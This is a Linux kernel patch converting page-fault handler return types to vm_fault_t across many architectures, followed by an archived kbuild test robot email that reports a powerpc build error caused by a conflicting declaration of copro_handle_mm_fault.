@@ -371,12 +371,12 @@ static void do_bad_area(unsigned long addr, unsigned int esr, struct pt_regs *re
 #define VM_FAULT_BADMAP		0x010000
 #define VM_FAULT_BADACCESS	0x020000
 
-static int __do_page_fault(struct mm_struct *mm, unsigned long addr,
+static vm_fault_t __do_page_fault(struct mm_struct *mm, unsigned long addr,
 			   unsigned int mm_flags, unsigned long vm_flags,
 			   struct task_struct *tsk)
 {
 	struct vm_area_struct *vma;
-	int fault;
+	vm_fault_t fault;
 
 	vma = find_vma(mm, addr);
 	fault = VM_FAULT_BADMAP;
@@ -419,7 +419,7 @@ static int __kprobes do_page_fault(unsigned long addr, unsigned int esr,
 	struct task_struct *tsk;
 	struct mm_struct *mm;
 	struct siginfo si;
-	int fault, major = 0;
+	vm_fault_t fault, major = 0;
 	unsigned long vm_flags = VM_READ | VM_WRITE;
 	unsigned int mm_flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/hexagon/mm/vm_fault.c b/arch/hexagon/mm/vm_fault.c
index 3eec33c..5d1de6c 100644
--- a/arch/hexagon/mm/vm_fault.c
+++ b/arch/hexagon/mm/vm_fault.c
@@ -52,7 +52,7 @@ void do_page_fault(unsigned long address, long cause, struct pt_regs *regs)
 	struct mm_struct *mm = current->mm;
 	siginfo_t info;
 	int si_code = SEGV_MAPERR;
-	int fault;
+	vm_fault_t fault;
 	const struct exception_table_entry *fixup;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/ia64/mm/fault.c b/arch/ia64/mm/fault.c
index dfdc152..e085d89 100644
--- a/arch/ia64/mm/fault.c
+++ b/arch/ia64/mm/fault.c
@@ -87,7 +87,7 @@ static inline int notify_page_fault(struct pt_regs *regs, int trap)
 	struct mm_struct *mm = current->mm;
 	struct siginfo si;
 	unsigned long mask;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	mask = ((((isr >> IA64_ISR_X_BIT) & 1UL) << VM_EXEC_BIT)
diff --git a/arch/m68k/mm/fault.c b/arch/m68k/mm/fault.c
index 03253c4..1fc7ac0 100644
--- a/arch/m68k/mm/fault.c
+++ b/arch/m68k/mm/fault.c
@@ -73,7 +73,7 @@ int do_page_fault(struct pt_regs *regs, unsigned long address,
 {
 	struct mm_struct *mm = current->mm;
 	struct vm_area_struct * vma;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	pr_debug("do page fault:\nregs->sr=%#x, regs->pc=%#lx, address=%#lx, %ld, %p\n",
@@ -139,7 +139,7 @@ int do_page_fault(struct pt_regs *regs, unsigned long address,
 	 */
 
 	fault = handle_mm_fault(vma, address, flags);
-	pr_debug("handle_mm_fault returns %d\n", fault);
+	pr_debug("handle_mm_fault returns %x\n", fault);
 
 	if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))
 		return 0;
diff --git a/arch/microblaze/mm/fault.c b/arch/microblaze/mm/fault.c
index f91b30f..92a8682 100644
--- a/arch/microblaze/mm/fault.c
+++ b/arch/microblaze/mm/fault.c
@@ -91,7 +91,7 @@ void do_page_fault(struct pt_regs *regs, unsigned long address,
 	siginfo_t info;
 	int code = SEGV_MAPERR;
 	int is_write = error_code & ESR_S;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	regs->ear = address;
diff --git a/arch/mips/mm/fault.c b/arch/mips/mm/fault.c
index 4f8f5bf..0bc5030 100644
--- a/arch/mips/mm/fault.c
+++ b/arch/mips/mm/fault.c
@@ -43,7 +43,7 @@ static void __kprobes __do_page_fault(struct pt_regs *regs, unsigned long write,
 	struct mm_struct *mm = tsk->mm;
 	const int field = sizeof(unsigned long) * 2;
 	siginfo_t info;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	static DEFINE_RATELIMIT_STATE(ratelimit_state, 5 * HZ, 10);
diff --git a/arch/nds32/mm/fault.c b/arch/nds32/mm/fault.c
index 3a246fb..96796d3 100644
--- a/arch/nds32/mm/fault.c
+++ b/arch/nds32/mm/fault.c
@@ -73,7 +73,7 @@ void do_page_fault(unsigned long entry, unsigned long addr,
 	struct mm_struct *mm;
 	struct vm_area_struct *vma;
 	siginfo_t info;
-	int fault;
+	vm_fault_t fault;
 	unsigned int mask = VM_READ | VM_WRITE | VM_EXEC;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/nios2/mm/fault.c b/arch/nios2/mm/fault.c
index b804dd0..24fd84c 100644
--- a/arch/nios2/mm/fault.c
+++ b/arch/nios2/mm/fault.c
@@ -47,7 +47,7 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long cause,
 	struct task_struct *tsk = current;
 	struct mm_struct *mm = tsk->mm;
 	int code = SEGV_MAPERR;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	cause >>= 2;
diff --git a/arch/openrisc/mm/fault.c b/arch/openrisc/mm/fault.c
index d0021df..21e8f16 100644
--- a/arch/openrisc/mm/fault.c
+++ b/arch/openrisc/mm/fault.c
@@ -53,7 +53,7 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long address,
 	struct mm_struct *mm;
 	struct vm_area_struct *vma;
 	siginfo_t info;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	tsk = current;
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index e247edb..ff9e634 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -262,7 +262,7 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	struct task_struct *tsk;
 	struct mm_struct *mm;
 	unsigned long acc_type;
-	int fault = 0;
+	vm_fault_t fault = 0;
 	unsigned int flags;
 
 	if (faulthandler_disabled())
diff --git a/arch/powerpc/mm/copro_fault.c b/arch/powerpc/mm/copro_fault.c
index 7d0945b..c8da352 100644
--- a/arch/powerpc/mm/copro_fault.c
+++ b/arch/powerpc/mm/copro_fault.c
@@ -34,7 +34,7 @@
  * to handle fortunately.
  */
 int copro_handle_mm_fault(struct mm_struct *mm, unsigned long ea,
-		unsigned long dsisr, unsigned *flt)
+		unsigned long dsisr, vm_fault_t *flt)
 {
 	struct vm_area_struct *vma;
 	unsigned long is_write;
diff --git a/arch/powerpc/mm/fault.c b/arch/powerpc/mm/fault.c
index c01d627..17cce1b 100644
--- a/arch/powerpc/mm/fault.c
+++ b/arch/powerpc/mm/fault.c
@@ -159,7 +159,7 @@ static noinline int bad_access(struct pt_regs *regs, unsigned long address)
 }
 
 static int do_sigbus(struct pt_regs *regs, unsigned long address,
-		     unsigned int fault)
+		     vm_fault_t fault)
 {
 	siginfo_t info;
 	unsigned int lsb = 0;
@@ -189,7 +189,8 @@ static int do_sigbus(struct pt_regs *regs, unsigned long address,
 	return 0;
 }
 
-static int mm_fault_error(struct pt_regs *regs, unsigned long addr, int fault)
+static int mm_fault_error(struct pt_regs *regs, unsigned long addr,
+				vm_fault_t fault)
 {
 	/*
 	 * Kernel page fault interrupted by SIGKILL. We have no reason to
@@ -402,7 +403,7 @@ static int __do_page_fault(struct pt_regs *regs, unsigned long address,
  	int is_exec = TRAP(regs) == 0x400;
 	int is_user = user_mode(regs);
 	int is_write = page_fault_is_write(error_code);
-	int fault, major = 0;
+	vm_fault_t fault, major = 0;
 	bool store_update_sp = false;
 
 	if (notify_page_fault(regs))
diff --git a/arch/riscv/mm/fault.c b/arch/riscv/mm/fault.c
index 148c98c..88401d5 100644
--- a/arch/riscv/mm/fault.c
+++ b/arch/riscv/mm/fault.c
@@ -41,7 +41,8 @@ asmlinkage void do_page_fault(struct pt_regs *regs)
 	struct mm_struct *mm;
 	unsigned long addr, cause;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
-	int fault, code = SEGV_MAPERR;
+	int code = SEGV_MAPERR;
+	vm_fault_t fault;
 
 	cause = regs->scause;
 	addr = regs->sbadaddr;
diff --git a/arch/s390/mm/fault.c b/arch/s390/mm/fault.c
index 93faeca..8ea0855 100644
--- a/arch/s390/mm/fault.c
+++ b/arch/s390/mm/fault.c
@@ -350,7 +350,8 @@ static noinline int signal_return(struct pt_regs *regs)
 	return -EACCES;
 }
 
-static noinline void do_fault_error(struct pt_regs *regs, int access, int fault)
+static noinline void do_fault_error(struct pt_regs *regs, int access,
+					vm_fault_t fault)
 {
 	int si_code;
 
@@ -410,7 +411,7 @@ static noinline void do_fault_error(struct pt_regs *regs, int access, int fault)
  *   11       Page translation     ->  Not present       (nullification)
  *   3b       Region third trans.  ->  Not present       (nullification)
  */
-static inline int do_exception(struct pt_regs *regs, int access)
+static inline vm_fault_t do_exception(struct pt_regs *regs, int access)
 {
 	struct gmap *gmap;
 	struct task_struct *tsk;
@@ -420,7 +421,7 @@ static inline int do_exception(struct pt_regs *regs, int access)
 	unsigned long trans_exc_code;
 	unsigned long address;
 	unsigned int flags;
-	int fault;
+	vm_fault_t fault;
 
 	tsk = current;
 	/*
@@ -571,7 +572,8 @@ static inline int do_exception(struct pt_regs *regs, int access)
 void do_protection_exception(struct pt_regs *regs)
 {
 	unsigned long trans_exc_code;
-	int access, fault;
+	int access;
+	vm_fault_t fault;
 
 	trans_exc_code = regs->int_parm_long;
 	/*
@@ -606,7 +608,8 @@ void do_protection_exception(struct pt_regs *regs)
 
 void do_dat_exception(struct pt_regs *regs)
 {
-	int access, fault;
+	int access;
+	vm_fault_t fault;
 
 	access = VM_READ | VM_EXEC | VM_WRITE;
 	fault = do_exception(regs, access);
diff --git a/arch/sh/mm/fault.c b/arch/sh/mm/fault.c
index 6fd1bf7..474bf14 100644
--- a/arch/sh/mm/fault.c
+++ b/arch/sh/mm/fault.c
@@ -320,7 +320,7 @@ static noinline int vmalloc_fault(unsigned long address)
 
 static noinline int
 mm_fault_error(struct pt_regs *regs, unsigned long error_code,
-	       unsigned long address, unsigned int fault)
+	       unsigned long address, vm_fault_t fault)
 {
 	/*
 	 * Pagefault was interrupted by SIGKILL. We have no reason to
@@ -403,7 +403,7 @@ asmlinkage void __kprobes do_page_fault(struct pt_regs *regs,
 	struct task_struct *tsk;
 	struct mm_struct *mm;
 	struct vm_area_struct * vma;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	tsk = current;
diff --git a/arch/sparc/mm/fault_32.c b/arch/sparc/mm/fault_32.c
index a8103a8..1a44a4e 100644
--- a/arch/sparc/mm/fault_32.c
+++ b/arch/sparc/mm/fault_32.c
@@ -174,7 +174,8 @@ asmlinkage void do_sparc_fault(struct pt_regs *regs, int text_fault, int write,
 	unsigned int fixup;
 	unsigned long g2;
 	int from_user = !(regs->psr & PSR_PS);
-	int fault, code;
+	int code;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	if (text_fault)
diff --git a/arch/sparc/mm/fault_64.c b/arch/sparc/mm/fault_64.c
index 41363f4..2078bfe 100644
--- a/arch/sparc/mm/fault_64.c
+++ b/arch/sparc/mm/fault_64.c
@@ -284,7 +284,8 @@ asmlinkage void __kprobes do_sparc64_fault(struct pt_regs *regs)
 	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	unsigned int insn = 0;
-	int si_code, fault_code, fault;
+	int si_code, fault_code;
+	vm_fault_t fault;
 	unsigned long address, mm_rss;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/um/kernel/trap.c b/arch/um/kernel/trap.c
index b2b02df..0afcd09 100644
--- a/arch/um/kernel/trap.c
+++ b/arch/um/kernel/trap.c
@@ -72,7 +72,7 @@ int handle_page_fault(unsigned long address, unsigned long ip,
 	}
 
 	do {
-		int fault;
+		vm_fault_t fault;
 
 		fault = handle_mm_fault(vma, address, flags);
 
diff --git a/arch/unicore32/mm/fault.c b/arch/unicore32/mm/fault.c
index bbefcc4..2982140 100644
--- a/arch/unicore32/mm/fault.c
+++ b/arch/unicore32/mm/fault.c
@@ -167,11 +167,11 @@ static inline bool access_error(unsigned int fsr, struct vm_area_struct *vma)
 	return vma->vm_flags & mask ? false : true;
 }
 
-static int __do_pf(struct mm_struct *mm, unsigned long addr, unsigned int fsr,
-		unsigned int flags, struct task_struct *tsk)
+static vm_fault_t __do_pf(struct mm_struct *mm, unsigned long addr,
+		unsigned int fsr, unsigned int flags, struct task_struct *tsk)
 {
 	struct vm_area_struct *vma;
-	int fault;
+	vm_fault_t fault;
 
 	vma = find_vma(mm, addr);
 	fault = VM_FAULT_BADMAP;
@@ -208,7 +208,8 @@ static int do_pf(unsigned long addr, unsigned int fsr, struct pt_regs *regs)
 {
 	struct task_struct *tsk;
 	struct mm_struct *mm;
-	int fault, sig, code;
+	int sig, code;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	tsk = current;
diff --git a/arch/x86/mm/fault.c b/arch/x86/mm/fault.c
index 73bd8c9..5171d60 100644
--- a/arch/x86/mm/fault.c
+++ b/arch/x86/mm/fault.c
@@ -16,6 +16,7 @@
 #include <linux/prefetch.h>		/* prefetchw			*/
 #include <linux/context_tracking.h>	/* exception_enter(), ...	*/
 #include <linux/uaccess.h>		/* faulthandler_disabled()	*/
+#include <linux/mm_types.h>
 
 #include <asm/cpufeature.h>		/* boot_cpu_has, ...		*/
 #include <asm/traps.h>			/* dotraplinkage, ...		*/
@@ -1004,7 +1005,7 @@ static inline bool bad_area_access_from_pkeys(unsigned long error_code,
 
 static noinline void
 mm_fault_error(struct pt_regs *regs, unsigned long error_code,
-	       unsigned long address, u32 *pkey, unsigned int fault)
+	       unsigned long address, u32 *pkey, vm_fault_t fault)
 {
 	if (fatal_signal_pending(current) && !(error_code & X86_PF_USER)) {
 		no_context(regs, error_code, address, 0, 0);
@@ -1218,7 +1219,7 @@ static inline bool smap_violation(int error_code, struct pt_regs *regs)
 	struct vm_area_struct *vma;
 	struct task_struct *tsk;
 	struct mm_struct *mm;
-	int fault, major = 0;
+	vm_fault_t fault, major = 0;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 	u32 pkey;
 
diff --git a/arch/xtensa/mm/fault.c b/arch/xtensa/mm/fault.c
index 8b9b6f4..203fade 100644
--- a/arch/xtensa/mm/fault.c
+++ b/arch/xtensa/mm/fault.c
@@ -42,7 +42,7 @@ void do_page_fault(struct pt_regs *regs)
 	siginfo_t info;
 
 	int is_write, is_exec;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	info.si_code = SEGV_MAPERR;
diff --git a/drivers/iommu/amd_iommu_v2.c b/drivers/iommu/amd_iommu_v2.c
index 1d0b53a0..58da65d 100644
--- a/drivers/iommu/amd_iommu_v2.c
+++ b/drivers/iommu/amd_iommu_v2.c
@@ -508,7 +508,7 @@ static void do_fault(struct work_struct *work)
 {
 	struct fault *fault = container_of(work, struct fault, work);
 	struct vm_area_struct *vma;
-	int ret = VM_FAULT_ERROR;
+	vm_fault_t ret = VM_FAULT_ERROR;
 	unsigned int flags = 0;
 	struct mm_struct *mm;
 	u64 address;
diff --git a/drivers/iommu/intel-svm.c b/drivers/iommu/intel-svm.c
index e8cd984..75189c0 100644
--- a/drivers/iommu/intel-svm.c
+++ b/drivers/iommu/intel-svm.c
@@ -24,6 +24,7 @@
 #include <linux/pci-ats.h>
 #include <linux/dmar.h>
 #include <linux/interrupt.h>
+#include <linux/mm_types.h>
 #include <asm/page.h>
 
 #define PASID_ENTRY_P		BIT_ULL(0)
@@ -594,7 +595,8 @@ static irqreturn_t prq_event_thread(int irq, void *d)
 		struct vm_area_struct *vma;
 		struct page_req_dsc *req;
 		struct qi_desc resp;
-		int ret, result;
+		int result;
+		vm_fault_t ret;
 		u64 address;
 
 		handled = 1;
diff --git a/mm/hmm.c b/mm/hmm.c
index 486dc39..d7919e5 100644
--- a/mm/hmm.c
+++ b/mm/hmm.c
@@ -308,14 +308,14 @@ static int hmm_vma_do_fault(struct mm_walk *walk, unsigned long addr,
 	struct hmm_vma_walk *hmm_vma_walk = walk->private;
 	struct hmm_range *range = hmm_vma_walk->range;
 	struct vm_area_struct *vma = walk->vma;
-	int r;
+	vm_fault_t ret;
 
 	flags |= hmm_vma_walk->block ? 0 : FAULT_FLAG_ALLOW_RETRY;
 	flags |= write_fault ? FAULT_FLAG_WRITE : 0;
-	r = handle_mm_fault(vma, addr, flags);
-	if (r & VM_FAULT_RETRY)
+	ret = handle_mm_fault(vma, addr, flags);
+	if (ret & VM_FAULT_RETRY)
 		return -EBUSY;
-	if (r & VM_FAULT_ERROR) {
+	if (ret & VM_FAULT_ERROR) {
 		*pfn = range->values[HMM_PFN_ERROR];
 		return -EFAULT;
 	}
diff --git a/mm/ksm.c b/mm/ksm.c
index e3cbf9a..cb4e6ed 100644
--- a/mm/ksm.c
+++ b/mm/ksm.c
@@ -451,7 +451,7 @@ static inline bool ksm_test_exit(struct mm_struct *mm)
 static int break_ksm(struct vm_area_struct *vma, unsigned long addr)
 {
 	struct page *page;
-	int ret = 0;
+	vm_fault_t ret = 0;
 
 	do {
 		cond_resched();
-- 
1.9.1



From - Thu Nov 08 21:41:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.kernel.arc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] mm: convert return type of handle_mm_fault() caller to
	vm_fault_t
Date: Fri, 15 Jun 2018 05:31:01 +0800
Lines: 587
Approved: news@gmane.org
Message-ID: <201806150506.knlvrBpX%fengguang.wu@intel.com>
References: <20180614190629.GA18576@jordon-HP-15-Notebook-PC>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="mP3DRpeJDSE+ciuQ"
X-Trace: blaine.gmane.org 1529011806 2654 195.159.176.226 (14 Jun 2018 21:30:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 14 Jun 2018 21:30:06 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	palmer-SpMDHPYPyPbQT0dZR+AlfA@public.gmane.org, will.deacon-5wv7dgnIgG8@public.gmane.org, jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org,
	linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org, hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-riscv-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	alexander.levin-H+0wwilmMs1BDgjK7y7TUQ@public.gmane.org, jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org,
	sabyasachi.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, richard-/L3Ra7n9ekc@public.gmane.org,
	linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org, willy-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org, geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	catalin.marinas-5wv7dgnIgG8@public.gmane.org, jhogan-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	brajeswar.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org, user-mode-linux-user-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org,
	gxt@
To: Souptick Joarder <jrdr.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Thu Jun 14 23:29:57 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fTZoY-0000RU-Py
	for glki-iommu@m.gmane.org; Thu, 14 Jun 2018 23:29:55 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id AD6E2EE0;
	Thu, 14 Jun 2018 21:32:04 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 64AC9ED3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Thu, 14 Jun 2018 21:32:03 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mga12.intel.com (mga12.intel.com [192.55.52.136])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 3B4645A5
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Thu, 14 Jun 2018 21:32:02 +0000 (UTC)
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from orsmga005.jf.intel.com ([10.7.209.41])
	by fmsmga106.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
	14 Jun 2018 14:32:01 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.51,224,1526367600"; 
	d="gz'50?scan'50,208,50";a="232684490"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
	by orsmga005.jf.intel.com with ESMTP; 14 Jun 2018 14:31:52 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
	(envelope-from <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>)
	id 1fTZqR-000Qyx-Oc; Fri, 15 Jun 2018 05:31:51 +0800
Content-Disposition: inline
In-Reply-To: <20180614190629.GA18576@jordon-HP-15-Notebook-PC>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24851 gmane.linux.ports.mips.general:65017 gmane.linux.ports.ia64:28861 gmane.linux.ports.sh.devel:57105 gmane.linux.kernel.mm:197540 gmane.linux.ports.sparc:28002 gmane.linux.ports.hexagon:1771 gmane.linux.ports.riscv:28 gmane.linux.kernel.arc:3967 gmane.linux.uml.devel:16820 gmane.linux.uml.user:15456 gmane.linux.ports.arm.kernel:656432 gmane.linux.ports.parisc:28695 gmane.linux.kernel:2794759 gmane.linux.ports.alpha:5117 gmane.linux.ports.ppc64.devel:158927
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24851>


--mP3DRpeJDSE+ciuQ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Souptick,

Thank you for the patch! Yet something to improve:

[auto build test ERROR on v4.17]
[cannot apply to linus/master powerpc/next sparc-next/master next-20180614]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Souptick-Joarder/mm-convert-return-type-of-handle_mm_fault-caller-to-vm_fault_t/20180615-030636
config: powerpc-defconfig (attached as .config)
compiler: powerpc64-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        GCC_VERSION=7.2.0 make.cross ARCH=powerpc 

All errors (new ones prefixed by >>):

>> arch/powerpc/mm/copro_fault.c:36:5: error: conflicting types for 'copro_handle_mm_fault'
    int copro_handle_mm_fault(struct mm_struct *mm, unsigned long ea,
        ^~~~~~~~~~~~~~~~~~~~~
   In file included from arch/powerpc/mm/copro_fault.c:27:0:
   arch/powerpc/include/asm/copro.h:18:5: note: previous declaration of 'copro_handle_mm_fault' was here
    int copro_handle_mm_fault(struct mm_struct *mm, unsigned long ea,
        ^~~~~~~~~~~~~~~~~~~~~
   In file included from include/linux/linkage.h:7:0,
                    from include/linux/kernel.h:7,
                    from include/asm-generic/bug.h:18,
                    from arch/powerpc/include/asm/bug.h:128,
                    from include/linux/bug.h:5,
                    from arch/powerpc/include/asm/mmu.h:126,
                    from arch/powerpc/include/asm/lppaca.h:36,
                    from arch/powerpc/include/asm/paca.h:21,
                    from arch/powerpc/include/asm/current.h:16,
                    from include/linux/sched.h:12,
                    from arch/powerpc/mm/copro_fault.c:23:
   arch/powerpc/mm/copro_fault.c:101:19: error: conflicting types for 'copro_handle_mm_fault'
    EXPORT_SYMBOL_GPL(copro_handle_mm_fault);
                      ^
   include/linux/export.h:65:21: note: in definition of macro '___EXPORT_SYMBOL'
     extern typeof(sym) sym;      \
                        ^~~
   arch/powerpc/mm/copro_fault.c:101:1: note: in expansion of macro 'EXPORT_SYMBOL_GPL'
    EXPORT_SYMBOL_GPL(copro_handle_mm_fault);
    ^~~~~~~~~~~~~~~~~
   In file included from arch/powerpc/mm/copro_fault.c:27:0:
   arch/powerpc/include/asm/copro.h:18:5: note: previous declaration of 'copro_handle_mm_fault' was here
    int copro_handle_mm_fault(struct mm_struct *mm, unsigned long ea,
        ^~~~~~~~~~~~~~~~~~~~~

vim +/copro_handle_mm_fault +36 arch/powerpc/mm/copro_fault.c

7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   30  
